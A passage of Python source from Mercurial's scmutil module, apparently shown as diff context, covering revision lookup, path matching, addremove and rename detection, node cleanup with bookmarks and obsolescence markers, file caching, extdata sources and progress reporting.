             rev = repo.changelog.rev(node)
             return repo[rev]
         except KeyError:
             pass
 
         node = resolvehexnodeidprefix(repo, symbol)
         if node is not None:
             rev = repo.changelog.rev(node)
             return repo[rev]
 
         raise error.RepoLookupError(_(b"unknown revision '%s'") % symbol)
 
     except error.WdirUnsupported:
         return repo[None]
     except (
         error.FilteredIndexError,
         error.FilteredLookupError,
         error.FilteredRepoLookupError,
     ):
         raise _filterederror(repo, symbol)
 
 
 def _filterederror(repo, changeid):
     """build an exception to be raised about a filtered changeid
 
     This is extracted in a function to help extensions (eg: evolve) to
     experiment with various message variants."""
     if repo.filtername.startswith(b'visible'):
 
         # Check if the changeset is obsolete
         unfilteredrepo = repo.unfiltered()
         ctx = revsymbol(unfilteredrepo, changeid)
 
         # If the changeset is obsolete, enrich the message with the reason
         # that made this changeset not visible
         if ctx.obsolete():
             msg = obsutil._getfilteredreason(repo, changeid, ctx)
         else:
             msg = _(b"hidden revision '%s'") % changeid
 
         hint = _(b'use --hidden to access hidden revisions')
 
         return error.FilteredRepoLookupError(msg, hint=hint)
     msg = _(b"filtered revision '%s' (not in '%s' subset)")
     msg %= (changeid, repo.filtername)
     return error.FilteredRepoLookupError(msg)
 
 
 def revsingle(repo, revspec, default=b'.', localalias=None):
     if not revspec and revspec != 0:
         return repo[default]
 
     l = revrange(repo, [revspec], localalias=localalias)
     if not l:
         raise error.Abort(_(b'empty revision set'))
     return repo[l.last()]
 
 
 def _pairspec(revspec):
     tree = revsetlang.parse(revspec)
     return tree and tree[0] in (
         b'range',
         b'rangepre',
         b'rangepost',
         b'rangeall',
     )
 
 
 def revpair(repo, revs):
     if not revs:
         return repo[b'.'], repo[None]
 
     l = revrange(repo, revs)
 
     if not l:
         raise error.Abort(_(b'empty revision range'))
 
     first = l.first()
     second = l.last()
 
     if (
         first == second
         and len(revs) >= 2
         and not all(revrange(repo, [r]) for r in revs)
     ):
         raise error.Abort(_(b'empty revision on one side of range'))
 
     # if top-level is range expression, the result must always be a pair
     if first == second and len(revs) == 1 and not _pairspec(revs[0]):
         return repo[first], repo[None]
 
     return repo[first], repo[second]
 
 
 def revrange(repo, specs, localalias=None):
     """Execute 1 to many revsets and return the union.
 
     This is the preferred mechanism for executing revsets using user-specified
     config options, such as revset aliases.
 
     The revsets specified by ``specs`` will be executed via a chained ``OR``
     expression. If ``specs`` is empty, an empty result is returned.
 
     ``specs`` can contain integers, in which case they are assumed to be
     revision numbers.
 
     It is assumed the revsets are already formatted. If you have arguments
     that need to be expanded in the revset, call ``revsetlang.formatspec()``
     and pass the result as an element of ``specs``.
 
     Specifying a single revset is allowed.
 
     Returns a ``revset.abstractsmartset`` which is a list-like interface over
     integer revisions.
     """
     allspecs = []
     for spec in specs:
         if isinstance(spec, int):
             spec = revsetlang.formatspec(b'%d', spec)
         allspecs.append(spec)
     return repo.anyrevs(allspecs, user=True, localalias=localalias)
 
 
 def meaningfulparents(repo, ctx):
     """Return list of meaningful (or all if debug) parentrevs for rev.
 
     For merges (two non-nullrev revisions) both parents are meaningful.
     Otherwise the first parent revision is considered meaningful if it
     is not the preceding revision.
     """
     parents = ctx.parents()
     if len(parents) > 1:
         return parents
     if repo.ui.debugflag:
         return [parents[0], repo[nullrev]]
     if parents[0].rev() >= intrev(ctx) - 1:
         return []
     return parents
 
 
 def getuipathfn(repo, legacyrelativevalue=False, forcerelativevalue=None):
     """Return a function that produced paths for presenting to the user.
 
     The returned function takes a repo-relative path and produces a path
     that can be presented in the UI.
 
     Depending on the value of ui.relative-paths, either a repo-relative or
     cwd-relative path will be produced.
 
     legacyrelativevalue is the value to use if ui.relative-paths=legacy
 
     If forcerelativevalue is not None, then that value will be used regardless
     of what ui.relative-paths is set to.
     """
     if forcerelativevalue is not None:
         relative = forcerelativevalue
     else:
         config = repo.ui.config(b'ui', b'relative-paths')
         if config == b'legacy':
             relative = legacyrelativevalue
         else:
             relative = stringutil.parsebool(config)
             if relative is None:
                 raise error.ConfigError(
                     _(b"ui.relative-paths is not a boolean ('%s')") % config
                 )
 
     if relative:
         cwd = repo.getcwd()
         pathto = repo.pathto
         return lambda f: pathto(f, cwd)
     elif repo.ui.configbool(b'ui', b'slash'):
         return lambda f: f
     else:
         return util.localpath
 
 
 def subdiruipathfn(subpath, uipathfn):
     '''Create a new uipathfn that treats the file as relative to subpath.'''
     return lambda f: uipathfn(posixpath.join(subpath, f))
 
 
 def anypats(pats, opts):
     '''Checks if any patterns, including --include and --exclude were given.
 
     Some commands (e.g. addremove) use this condition for deciding whether to
     print absolute or relative paths.
     '''
     return bool(pats or opts.get(b'include') or opts.get(b'exclude'))
 
 
 def expandpats(pats):
     '''Expand bare globs when running on windows.
     On posix we assume it already has already been done by sh.'''
     if not util.expandglobs:
         return list(pats)
     ret = []
     for kindpat in pats:
         kind, pat = matchmod._patsplit(kindpat, None)
         if kind is None:
             try:
                 globbed = glob.glob(pat)
             except re.error:
                 globbed = [pat]
             if globbed:
                 ret.extend(globbed)
                 continue
         ret.append(kindpat)
     return ret
 
 
 def matchandpats(
     ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
 ):
     '''Return a matcher and the patterns that were used.
     The matcher will warn about bad matches, unless an alternate badfn callback
     is provided.'''
     if opts is None:
         opts = {}
     if not globbed and default == b'relpath':
         pats = expandpats(pats or [])
 
     uipathfn = getuipathfn(ctx.repo(), legacyrelativevalue=True)
 
     def bad(f, msg):
         ctx.repo().ui.warn(b"%s: %s\n" % (uipathfn(f), msg))
 
     if badfn is None:
         badfn = bad
 
     m = ctx.match(
         pats,
         opts.get(b'include'),
         opts.get(b'exclude'),
         default,
         listsubrepos=opts.get(b'subrepos'),
         badfn=badfn,
     )
 
     if m.always():
         pats = []
     return m, pats
 
 
 def match(
     ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
 ):
     '''Return a matcher that will warn about bad matches.'''
     return matchandpats(ctx, pats, opts, globbed, default, badfn=badfn)[0]
 
 
 def matchall(repo):
     '''Return a matcher that will efficiently match everything.'''
     return matchmod.always()
 
 
 def matchfiles(repo, files, badfn=None):
     '''Return a matcher that will efficiently match exactly these files.'''
     return matchmod.exact(files, badfn=badfn)
 
 
 def parsefollowlinespattern(repo, rev, pat, msg):
     """Return a file name from `pat` pattern suitable for usage in followlines
     logic.
     """
     if not matchmod.patkind(pat):
         return pathutil.canonpath(repo.root, repo.getcwd(), pat)
     else:
         ctx = repo[rev]
         m = matchmod.match(repo.root, repo.getcwd(), [pat], ctx=ctx)
         files = [f for f in ctx if m(f)]
         if len(files) != 1:
             raise error.ParseError(msg)
         return files[0]
 
 
 def getorigvfs(ui, repo):
     """return a vfs suitable to save 'orig' file
 
     return None if no special directory is configured"""
     origbackuppath = ui.config(b'ui', b'origbackuppath')
     if not origbackuppath:
         return None
     return vfs.vfs(repo.wvfs.join(origbackuppath))
 
 
 def backuppath(ui, repo, filepath):
     '''customize where working copy backup files (.orig files) are created
 
     Fetch user defined path from config file: [ui] origbackuppath = <path>
     Fall back to default (filepath with .orig suffix) if not specified
 
     filepath is repo-relative
 
     Returns an absolute path
     '''
     origvfs = getorigvfs(ui, repo)
     if origvfs is None:
         return repo.wjoin(filepath + b".orig")
 
     origbackupdir = origvfs.dirname(filepath)
     if not origvfs.isdir(origbackupdir) or origvfs.islink(origbackupdir):
         ui.note(_(b'creating directory: %s\n') % origvfs.join(origbackupdir))
 
         # Remove any files that conflict with the backup file's path
         for f in reversed(list(pathutil.finddirs(filepath))):
             if origvfs.isfileorlink(f):
                 ui.note(_(b'removing conflicting file: %s\n') % origvfs.join(f))
                 origvfs.unlink(f)
                 break
 
         origvfs.makedirs(origbackupdir)
 
     if origvfs.isdir(filepath) and not origvfs.islink(filepath):
         ui.note(
             _(b'removing conflicting directory: %s\n') % origvfs.join(filepath)
         )
         origvfs.rmtree(filepath, forcibly=True)
 
     return origvfs.join(filepath)
 
 
 class _containsnode(object):
     """proxy __contains__(node) to container.__contains__ which accepts revs"""
 
     def __init__(self, repo, revcontainer):
         self._torev = repo.changelog.rev
         self._revcontains = revcontainer.__contains__
 
     def __contains__(self, node):
         return self._revcontains(self._torev(node))
 
 
 def cleanupnodes(
     repo,
     replacements,
     operation,
     moves=None,
     metadata=None,
     fixphase=False,
     targetphase=None,
     backup=True,
 ):
     """do common cleanups when old nodes are replaced by new nodes
 
     That includes writing obsmarkers or stripping nodes, and moving bookmarks.
     (we might also want to move working directory parent in the future)
 
     By default, bookmark moves are calculated automatically from 'replacements',
     but 'moves' can be used to override that. Also, 'moves' may include
     additional bookmark moves that should not have associated obsmarkers.
 
     replacements is {oldnode: [newnode]} or a iterable of nodes if they do not
     have replacements. operation is a string, like "rebase".
 
     metadata is dictionary containing metadata to be stored in obsmarker if
     obsolescence is enabled.
     """
     assert fixphase or targetphase is None
     if not replacements and not moves:
         return
 
     # translate mapping's other forms
     if not util.safehasattr(replacements, b'items'):
         replacements = {(n,): () for n in replacements}
     else:
         # upgrading non tuple "source" to tuple ones for BC
         repls = {}
         for key, value in replacements.items():
             if not isinstance(key, tuple):
                 key = (key,)
             repls[key] = value
         replacements = repls
 
     # Unfiltered repo is needed since nodes in replacements might be hidden.
     unfi = repo.unfiltered()
 
     # Calculate bookmark movements
     if moves is None:
         moves = {}
         for oldnodes, newnodes in replacements.items():
             for oldnode in oldnodes:
                 if oldnode in moves:
                     continue
                 if len(newnodes) > 1:
                     # usually a split, take the one with biggest rev number
                     newnode = next(unfi.set(b'max(%ln)', newnodes)).node()
                 elif len(newnodes) == 0:
                     # move bookmark backwards
                     allreplaced = []
                     for rep in replacements:
                         allreplaced.extend(rep)
                     roots = list(
                         unfi.set(b'max((::%n) - %ln)', oldnode, allreplaced)
                     )
                     if roots:
                         newnode = roots[0].node()
                     else:
                         newnode = nullid
                 else:
                     newnode = newnodes[0]
                 moves[oldnode] = newnode
 
     allnewnodes = [n for ns in replacements.values() for n in ns]
     toretract = {}
     toadvance = {}
     if fixphase:
         precursors = {}
         for oldnodes, newnodes in replacements.items():
             for oldnode in oldnodes:
                 for newnode in newnodes:
                     precursors.setdefault(newnode, []).append(oldnode)
 
         allnewnodes.sort(key=lambda n: unfi[n].rev())
         newphases = {}
 
         def phase(ctx):
             return newphases.get(ctx.node(), ctx.phase())
 
         for newnode in allnewnodes:
             ctx = unfi[newnode]
             parentphase = max(phase(p) for p in ctx.parents())
             if targetphase is None:
                 oldphase = max(
                     unfi[oldnode].phase() for oldnode in precursors[newnode]
                 )
                 newphase = max(oldphase, parentphase)
             else:
                 newphase = max(targetphase, parentphase)
             newphases[newnode] = newphase
             if newphase > ctx.phase():
                 toretract.setdefault(newphase, []).append(newnode)
             elif newphase < ctx.phase():
                 toadvance.setdefault(newphase, []).append(newnode)
 
     with repo.transaction(b'cleanup') as tr:
         # Move bookmarks
         bmarks = repo._bookmarks
         bmarkchanges = []
         for oldnode, newnode in moves.items():
             oldbmarks = repo.nodebookmarks(oldnode)
             if not oldbmarks:
                 continue
             from . import bookmarks  # avoid import cycle
 
             repo.ui.debug(
                 b'moving bookmarks %r from %s to %s\n'
                 % (
                     pycompat.rapply(pycompat.maybebytestr, oldbmarks),
                     hex(oldnode),
                     hex(newnode),
                 )
             )
             # Delete divergent bookmarks being parents of related newnodes
             deleterevs = repo.revs(
                 b'parents(roots(%ln & (::%n))) - parents(%n)',
                 allnewnodes,
                 newnode,
                 oldnode,
             )
             deletenodes = _containsnode(repo, deleterevs)
             for name in oldbmarks:
                 bmarkchanges.append((name, newnode))
                 for b in bookmarks.divergent2delete(repo, deletenodes, name):
                     bmarkchanges.append((b, None))
 
         if bmarkchanges:
             bmarks.applychanges(repo, tr, bmarkchanges)
 
         for phase, nodes in toretract.items():
             phases.retractboundary(repo, tr, phase, nodes)
         for phase, nodes in toadvance.items():
             phases.advanceboundary(repo, tr, phase, nodes)
 
         mayusearchived = repo.ui.config(b'experimental', b'cleanup-as-archived')
         # Obsolete or strip nodes
         if obsolete.isenabled(repo, obsolete.createmarkersopt):
             # If a node is already obsoleted, and we want to obsolete it
             # without a successor, skip that obssolete request since it's
             # unnecessary. That's the "if s or not isobs(n)" check below.
             # Also sort the node in topology order, that might be useful for
             # some obsstore logic.
             # NOTE: the sorting might belong to createmarkers.
             torev = unfi.changelog.rev
             sortfunc = lambda ns: torev(ns[0][0])
             rels = []
             for ns, s in sorted(replacements.items(), key=sortfunc):
                 rel = (tuple(unfi[n] for n in ns), tuple(unfi[m] for m in s))
                 rels.append(rel)
             if rels:
                 obsolete.createmarkers(
                     repo, rels, operation=operation, metadata=metadata
                 )
         elif phases.supportinternal(repo) and mayusearchived:
             # this assume we do not have "unstable" nodes above the cleaned ones
             allreplaced = set()
             for ns in replacements.keys():
                 allreplaced.update(ns)
             if backup:
                 from . import repair  # avoid import cycle
 
                 node = min(allreplaced, key=repo.changelog.rev)
                 repair.backupbundle(
                     repo, allreplaced, allreplaced, node, operation
                 )
             phases.retractboundary(repo, tr, phases.archived, allreplaced)
         else:
             from . import repair  # avoid import cycle
 
             tostrip = list(n for ns in replacements for n in ns)
             if tostrip:
                 repair.delayedstrip(
                     repo.ui, repo, tostrip, operation, backup=backup
                 )
 
 
 def addremove(repo, matcher, prefix, uipathfn, opts=None):
     if opts is None:
         opts = {}
     m = matcher
     dry_run = opts.get(b'dry_run')
     try:
         similarity = float(opts.get(b'similarity') or 0)
     except ValueError:
         raise error.Abort(_(b'similarity must be a number'))
     if similarity < 0 or similarity > 100:
         raise error.Abort(_(b'similarity must be between 0 and 100'))
     similarity /= 100.0
 
     ret = 0
 
     wctx = repo[None]
     for subpath in sorted(wctx.substate):
         submatch = matchmod.subdirmatcher(subpath, m)
         if opts.get(b'subrepos') or m.exact(subpath) or any(submatch.files()):
             sub = wctx.sub(subpath)
             subprefix = repo.wvfs.reljoin(prefix, subpath)
             subuipathfn = subdiruipathfn(subpath, uipathfn)
             try:
                 if sub.addremove(submatch, subprefix, subuipathfn, opts):
                     ret = 1
             except error.LookupError:
                 repo.ui.status(
                     _(b"skipping missing subrepository: %s\n")
                     % uipathfn(subpath)
                 )
 
     rejected = []
 
     def badfn(f, msg):
         if f in m.files():
             m.bad(f, msg)
         rejected.append(f)
 
     badmatch = matchmod.badmatch(m, badfn)
     added, unknown, deleted, removed, forgotten = _interestingfiles(
         repo, badmatch
     )
 
     unknownset = set(unknown + forgotten)
     toprint = unknownset.copy()
     toprint.update(deleted)
     for abs in sorted(toprint):
         if repo.ui.verbose or not m.exact(abs):
             if abs in unknownset:
                 status = _(b'adding %s\n') % uipathfn(abs)
                 label = b'ui.addremove.added'
             else:
                 status = _(b'removing %s\n') % uipathfn(abs)
                 label = b'ui.addremove.removed'
             repo.ui.status(status, label=label)
 
     renames = _findrenames(
         repo, m, added + unknown, removed + deleted, similarity, uipathfn
     )
 
     if not dry_run:
         _markchanges(repo, unknown + forgotten, deleted, renames)
 
     for f in rejected:
         if f in m.files():
             return 1
     return ret
 
 
 def marktouched(repo, files, similarity=0.0):
     '''Assert that files have somehow been operated upon. files are relative to
     the repo root.'''
     m = matchfiles(repo, files, badfn=lambda x, y: rejected.append(x))
     rejected = []
 
     added, unknown, deleted, removed, forgotten = _interestingfiles(repo, m)
 
     if repo.ui.verbose:
         unknownset = set(unknown + forgotten)
         toprint = unknownset.copy()
         toprint.update(deleted)
         for abs in sorted(toprint):
             if abs in unknownset:
                 status = _(b'adding %s\n') % abs
             else:
                 status = _(b'removing %s\n') % abs
             repo.ui.status(status)
 
     # TODO: We should probably have the caller pass in uipathfn and apply it to
     # the messages above too. legacyrelativevalue=True is consistent with how
     # it used to work.
     uipathfn = getuipathfn(repo, legacyrelativevalue=True)
     renames = _findrenames(
         repo, m, added + unknown, removed + deleted, similarity, uipathfn
     )
 
     _markchanges(repo, unknown + forgotten, deleted, renames)
 
     for f in rejected:
         if f in m.files():
             return 1
     return 0
 
 
 def _interestingfiles(repo, matcher):
     '''Walk dirstate with matcher, looking for files that addremove would care
     about.
 
     This is different from dirstate.status because it doesn't care about
     whether files are modified or clean.'''
     added, unknown, deleted, removed, forgotten = [], [], [], [], []
     audit_path = pathutil.pathauditor(repo.root, cached=True)
 
     ctx = repo[None]
     dirstate = repo.dirstate
     matcher = repo.narrowmatch(matcher, includeexact=True)
     walkresults = dirstate.walk(
         matcher,
         subrepos=sorted(ctx.substate),
         unknown=True,
         ignored=False,
         full=False,
     )
     for abs, st in pycompat.iteritems(walkresults):
         dstate = dirstate[abs]
         if dstate == b'?' and audit_path.check(abs):
             unknown.append(abs)
         elif dstate != b'r' and not st:
             deleted.append(abs)
         elif dstate == b'r' and st:
             forgotten.append(abs)
         # for finding renames
         elif dstate == b'r' and not st:
             removed.append(abs)
         elif dstate == b'a':
             added.append(abs)
 
     return added, unknown, deleted, removed, forgotten
 
 
 def _findrenames(repo, matcher, added, removed, similarity, uipathfn):
     '''Find renames from removed files to added ones.'''
     renames = {}
     if similarity > 0:
         for old, new, score in similar.findrenames(
             repo, added, removed, similarity
         ):
             if (
                 repo.ui.verbose
                 or not matcher.exact(old)
                 or not matcher.exact(new)
             ):
                 repo.ui.status(
                     _(
                         b'recording removal of %s as rename to %s '
                         b'(%d%% similar)\n'
                     )
                     % (uipathfn(old), uipathfn(new), score * 100)
                 )
             renames[new] = old
     return renames
 
 
 def _markchanges(repo, unknown, deleted, renames):
     '''Marks the files in unknown as added, the files in deleted as removed,
     and the files in renames as copied.'''
     wctx = repo[None]
     with repo.wlock():
         wctx.forget(deleted)
         wctx.add(unknown)
         for new, old in pycompat.iteritems(renames):
             wctx.copy(old, new)
 
 
 def getrenamedfn(repo, endrev=None):
     if copiesmod.usechangesetcentricalgo(repo):
 
         def getrenamed(fn, rev):
             ctx = repo[rev]
             p1copies = ctx.p1copies()
             if fn in p1copies:
                 return p1copies[fn]
             p2copies = ctx.p2copies()
             if fn in p2copies:
                 return p2copies[fn]
             return None
 
         return getrenamed
 
     rcache = {}
     if endrev is None:
         endrev = len(repo)
 
     def getrenamed(fn, rev):
         '''looks up all renames for a file (up to endrev) the first
         time the file is given. It indexes on the changerev and only
         parses the manifest if linkrev != changerev.
         Returns rename info for fn at changerev rev.'''
         if fn not in rcache:
             rcache[fn] = {}
             fl = repo.file(fn)
             for i in fl:
                 lr = fl.linkrev(i)
                 renamed = fl.renamed(fl.node(i))
                 rcache[fn][lr] = renamed and renamed[0]
                 if lr >= endrev:
                     break
         if rev in rcache[fn]:
             return rcache[fn][rev]
 
         # If linkrev != rev (i.e. rev not found in rcache) fallback to
         # filectx logic.
         try:
             return repo[rev][fn].copysource()
         except error.LookupError:
             return None
 
     return getrenamed
 
 
 def getcopiesfn(repo, endrev=None):
     if copiesmod.usechangesetcentricalgo(repo):
 
         def copiesfn(ctx):
             if ctx.p2copies():
                 allcopies = ctx.p1copies().copy()
                 # There should be no overlap
                 allcopies.update(ctx.p2copies())
                 return sorted(allcopies.items())
             else:
                 return sorted(ctx.p1copies().items())
 
     else:
         getrenamed = getrenamedfn(repo, endrev)
 
         def copiesfn(ctx):
             copies = []
             for fn in ctx.files():
                 rename = getrenamed(fn, ctx.rev())
                 if rename:
                     copies.append((fn, rename))
             return copies
 
     return copiesfn
 
 
 def dirstatecopy(ui, repo, wctx, src, dst, dryrun=False, cwd=None):
     """Update the dirstate to reflect the intent of copying src to dst. For
     different reasons it might not end with dst being marked as copied from src.
     """
     origsrc = repo.dirstate.copied(src) or src
     if dst == origsrc:  # copying back a copy?
         if repo.dirstate[dst] not in b'mn' and not dryrun:
             repo.dirstate.normallookup(dst)
     else:
         if repo.dirstate[origsrc] == b'a' and origsrc == src:
             if not ui.quiet:
                 ui.warn(
                     _(
                         b"%s has not been committed yet, so no copy "
                         b"data will be stored for %s.\n"
                     )
                     % (repo.pathto(origsrc, cwd), repo.pathto(dst, cwd))
                 )
             if repo.dirstate[dst] in b'?r' and not dryrun:
                 wctx.add([dst])
         elif not dryrun:
             wctx.copy(origsrc, dst)
 
 
 def movedirstate(repo, newctx, match=None):
     """Move the dirstate to newctx and adjust it as necessary.
 
     A matcher can be provided as an optimization. It is probably a bug to pass
     a matcher that doesn't match all the differences between the parent of the
     working copy and newctx.
     """
     oldctx = repo[b'.']
     ds = repo.dirstate
     copies = dict(ds.copies())
     ds.setparents(newctx.node(), nullid)
     s = newctx.status(oldctx, match=match)
     for f in s.modified:
         if ds[f] == b'r':
             # modified + removed -> removed
             continue
         ds.normallookup(f)
 
     for f in s.added:
         if ds[f] == b'r':
             # added + removed -> unknown
             ds.drop(f)
         elif ds[f] != b'a':
             ds.add(f)
 
     for f in s.removed:
         if ds[f] == b'a':
             # removed + added -> normal
             ds.normallookup(f)
         elif ds[f] != b'r':
             ds.remove(f)
 
     # Merge old parent and old working dir copies
     oldcopies = copiesmod.pathcopies(newctx, oldctx, match)
     oldcopies.update(copies)
     copies = dict(
         (dst, oldcopies.get(src, src))
         for dst, src in pycompat.iteritems(oldcopies)
     )
     # Adjust the dirstate copies
     for dst, src in pycompat.iteritems(copies):
         if src not in newctx or dst in newctx or ds[dst] != b'a':
             src = None
         ds.copy(src, dst)
 
 
 def writerequires(opener, requirements):
     with opener(b'requires', b'w', atomictemp=True) as fp:
         for r in sorted(requirements):
             fp.write(b"%s\n" % r)
 
 
 class filecachesubentry(object):
     def __init__(self, path, stat):
         self.path = path
         self.cachestat = None
         self._cacheable = None
 
         if stat:
             self.cachestat = filecachesubentry.stat(self.path)
 
             if self.cachestat:
                 self._cacheable = self.cachestat.cacheable()
             else:
                 # None means we don't know yet
                 self._cacheable = None
 
     def refresh(self):
         if self.cacheable():
             self.cachestat = filecachesubentry.stat(self.path)
 
     def cacheable(self):
         if self._cacheable is not None:
             return self._cacheable
 
         # we don't know yet, assume it is for now
         return True
 
     def changed(self):
         # no point in going further if we can't cache it
         if not self.cacheable():
             return True
 
         newstat = filecachesubentry.stat(self.path)
 
         # we may not know if it's cacheable yet, check again now
         if newstat and self._cacheable is None:
             self._cacheable = newstat.cacheable()
 
             # check again
             if not self._cacheable:
                 return True
 
         if self.cachestat != newstat:
             self.cachestat = newstat
             return True
         else:
             return False
 
     @staticmethod
     def stat(path):
         try:
             return util.cachestat(path)
         except OSError as e:
             if e.errno != errno.ENOENT:
                 raise
 
 
 class filecacheentry(object):
     def __init__(self, paths, stat=True):
         self._entries = []
         for path in paths:
             self._entries.append(filecachesubentry(path, stat))
 
     def changed(self):
         '''true if any entry has changed'''
         for entry in self._entries:
             if entry.changed():
                 return True
         return False
 
     def refresh(self):
         for entry in self._entries:
             entry.refresh()
 
 
 class filecache(object):
     """A property like decorator that tracks files under .hg/ for updates.
 
     On first access, the files defined as arguments are stat()ed and the
     results cached. The decorated function is called. The results are stashed
     away in a ``_filecache`` dict on the object whose method is decorated.
 
     On subsequent access, the cached result is used as it is set to the
     instance dictionary.
 
     On external property set/delete operations, the caller must update the
     corresponding _filecache entry appropriately. Use __class__.<attr>.set()
     instead of directly setting <attr>.
 
     When using the property API, the cached data is always used if available.
     No stat() is performed to check if the file has changed.
 
     Others can muck about with the state of the ``_filecache`` dict. e.g. they
     can populate an entry before the property's getter is called. In this case,
     entries in ``_filecache`` will be used during property operations,
     if available. If the underlying file changes, it is up to external callers
     to reflect this by e.g. calling ``delattr(obj, attr)`` to remove the cached
     method result as well as possibly calling ``del obj._filecache[attr]`` to
     remove the ``filecacheentry``.
     """
 
     def __init__(self, *paths):
         self.paths = paths
 
     def join(self, obj, fname):
         """Used to compute the runtime path of a cached file.
 
         Users should subclass filecache and provide their own version of this
         function to call the appropriate join function on 'obj' (an instance
         of the class that its member function was decorated).
         """
         raise NotImplementedError
 
     def __call__(self, func):
         self.func = func
         self.sname = func.__name__
         self.name = pycompat.sysbytes(self.sname)
         return self
 
     def __get__(self, obj, type=None):
         # if accessed on the class, return the descriptor itself.
         if obj is None:
             return self
 
         assert self.sname not in obj.__dict__
 
         entry = obj._filecache.get(self.name)
 
         if entry:
             if entry.changed():
                 entry.obj = self.func(obj)
         else:
             paths = [self.join(obj, path) for path in self.paths]
 
             # We stat -before- creating the object so our cache doesn't lie if
             # a writer modified between the time we read and stat
             entry = filecacheentry(paths, True)
             entry.obj = self.func(obj)
 
             obj._filecache[self.name] = entry
 
         obj.__dict__[self.sname] = entry.obj
         return entry.obj
 
     # don't implement __set__(), which would make __dict__ lookup as slow as
     # function call.
 
     def set(self, obj, value):
         if self.name not in obj._filecache:
             # we add an entry for the missing value because X in __dict__
             # implies X in _filecache
             paths = [self.join(obj, path) for path in self.paths]
             ce = filecacheentry(paths, False)
             obj._filecache[self.name] = ce
         else:
             ce = obj._filecache[self.name]
 
         ce.obj = value  # update cached copy
         obj.__dict__[self.sname] = value  # update copy returned by obj.x
 
 
 def extdatasource(repo, source):
     """Gather a map of rev -> value dict from the specified source
 
     A source spec is treated as a URL, with a special case shell: type
     for parsing the output from a shell command.
 
     The data is parsed as a series of newline-separated records where
     each record is a revision specifier optionally followed by a space
     and a freeform string value. If the revision is known locally, it
     is converted to a rev, otherwise the record is skipped.
 
     Note that both key and value are treated as UTF-8 and converted to
     the local encoding. This allows uniformity between local and
     remote data sources.
     """
 
     spec = repo.ui.config(b"extdata", source)
     if not spec:
         raise error.Abort(_(b"unknown extdata source '%s'") % source)
 
     data = {}
     src = proc = None
     try:
         if spec.startswith(b"shell:"):
             # external commands should be run relative to the repo root
             cmd = spec[6:]
             proc = subprocess.Popen(
                 procutil.tonativestr(cmd),
                 shell=True,
                 bufsize=-1,
                 close_fds=procutil.closefds,
                 stdout=subprocess.PIPE,
                 cwd=procutil.tonativestr(repo.root),
             )
             src = proc.stdout
         else:
             # treat as a URL or file
             src = url.open(repo.ui, spec)
         for l in src:
             if b" " in l:
                 k, v = l.strip().split(b" ", 1)
             else:
                 k, v = l.strip(), b""
 
             k = encoding.tolocal(k)
             try:
                 data[revsingle(repo, k).rev()] = encoding.tolocal(v)
             except (error.LookupError, error.RepoLookupError):
                 pass  # we ignore data for nodes that don't exist locally
     finally:
         if proc:
             try:
                 proc.communicate()
             except ValueError:
                 # This happens if we started iterating src and then
                 # get a parse error on a line. It should be safe to ignore.
                 pass
         if src:
             src.close()
     if proc and proc.returncode != 0:
         raise error.Abort(
             _(b"extdata command '%s' failed: %s")
             % (cmd, procutil.explainexit(proc.returncode))
         )
 
     return data
 
 
 def _locksub(repo, lock, envvar, cmd, environ=None, *args, **kwargs):
     if lock is None:
         raise error.LockInheritanceContractViolation(
             b'lock can only be inherited while held'
         )
     if environ is None:
         environ = {}
     with lock.inherit() as locker:
         environ[envvar] = locker
         return repo.ui.system(cmd, environ=environ, *args, **kwargs)
 
 
 def wlocksub(repo, cmd, *args, **kwargs):
     """run cmd as a subprocess that allows inheriting repo's wlock
 
     This can only be called while the wlock is held. This takes all the
     arguments that ui.system does, and returns the exit code of the
     subprocess."""
     return _locksub(
         repo, repo.currentwlock(), b'HG_WLOCK_LOCKER', cmd, *args, **kwargs
     )
 
 
 class progress(object):
     def __init__(self, ui, updatebar, topic, unit=b"", total=None):
         self.ui = ui
         self.pos = 0
         self.topic = topic
         self.unit = unit
         self.total = total
         self.debug = ui.configbool(b'progress', b'debug')
         self._updatebar = updatebar
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_value, exc_tb):
         self.complete()
 
     def update(self, pos, item=b"", total=None):
         assert pos is not None
         if total:
             self.total = total
         self.pos = pos
         self._updatebar(self.topic, self.pos, item, self.unit, self.total)
         if self.debug:
             self._printdebug(item)
 
     def increment(self, step=1, item=b"", total=None):
         self.update(self.pos + step, item, total)
 
     def complete(self):
         self.pos = None
         self.unit = b""
         self.total = None
         self._updatebar(self.topic, self.pos, b"", self.unit, self.total)
 
     def _printdebug(self, item):
         if self.unit:
             unit = b' ' + self.unit
         if item:
             item = b' ' + item
 
         if self.total:
             pct = 100.0 * self.pos / self.total
             self.ui.debug(
                 b'%s:%s %d/%d%s (%4.2f%%)\n'
                 % (self.topic, item, self.pos, self.total, unit, pct)
             )
         else:
             self.ui.debug(b'%s:%s %d%s\n' % (self.topic, item, self.pos, unit))
 
 
 def gdinitconfig(ui):
     """helper function to know if a repo should be created as general delta
     """
     # experimental config: format.generaldelta
     return ui.configbool(b'format', b'generaldelta') or ui.configbool(
         b'format', b'usegeneraldelta'
     )
 
 
 def gddeltaconfig(ui):
     """helper function to know if incoming delta should be optimised
     """
     # experimental config: format.generaldelta
     return ui.configbool(b'format', b'generaldelta')
 
 
 class simplekeyvaluefile(object):
     """A simple file with key=value lines
 
     Keys must be alphanumerics and start with a letter, values must not
     contain '\n' characters"""
 
     firstlinekey = b'__firstline'
 
     def __init__(self, vfs, path, keys=None):
         self.vfs = vfs
         self.path = path
 
     def read(self, firstlinenonkeyval=False):
         """Read the contents of a simple key-value file
 
         'firstlinenonkeyval' indicates whether the first line of file should
         be treated as a key-value pair or reuturned fully under the
         __firstline key."""
         lines = self.vfs.readlines(self.path)
         d = {}
         if firstlinenonkeyval:
             if not lines:
                 e = _(b"empty simplekeyvalue file")
                 raise error.CorruptedState(e)
             # we don't want to include '\n' in the __firstline
             d[self.firstlinekey] = lines[0][:-1]
             del lines[0]
 
         try:
             # the 'if line.strip()' part prevents us from failing on empty
             # lines which only contain '\n' therefore are not skipped
             # by 'if line'
             updatedict = dict(
                 line[:-1].split(b'=', 1) for line in lines if line.strip()
             )
             if self.firstlinekey in updatedict:
                 e = _(b"%r can't be used as a key")
                 raise error.CorruptedState(e % self.firstlinekey)
             d.update(updatedict)
         except ValueError as e:
             raise error.CorruptedState(stringutil.forcebytestr(e))
         return d
 
     def write(self, data, firstline=None):
         """Write key=>value mapping to a file
         data is a dict. Keys must be alphanumerical and start with a letter.
         Values must not contain newline characters.
 
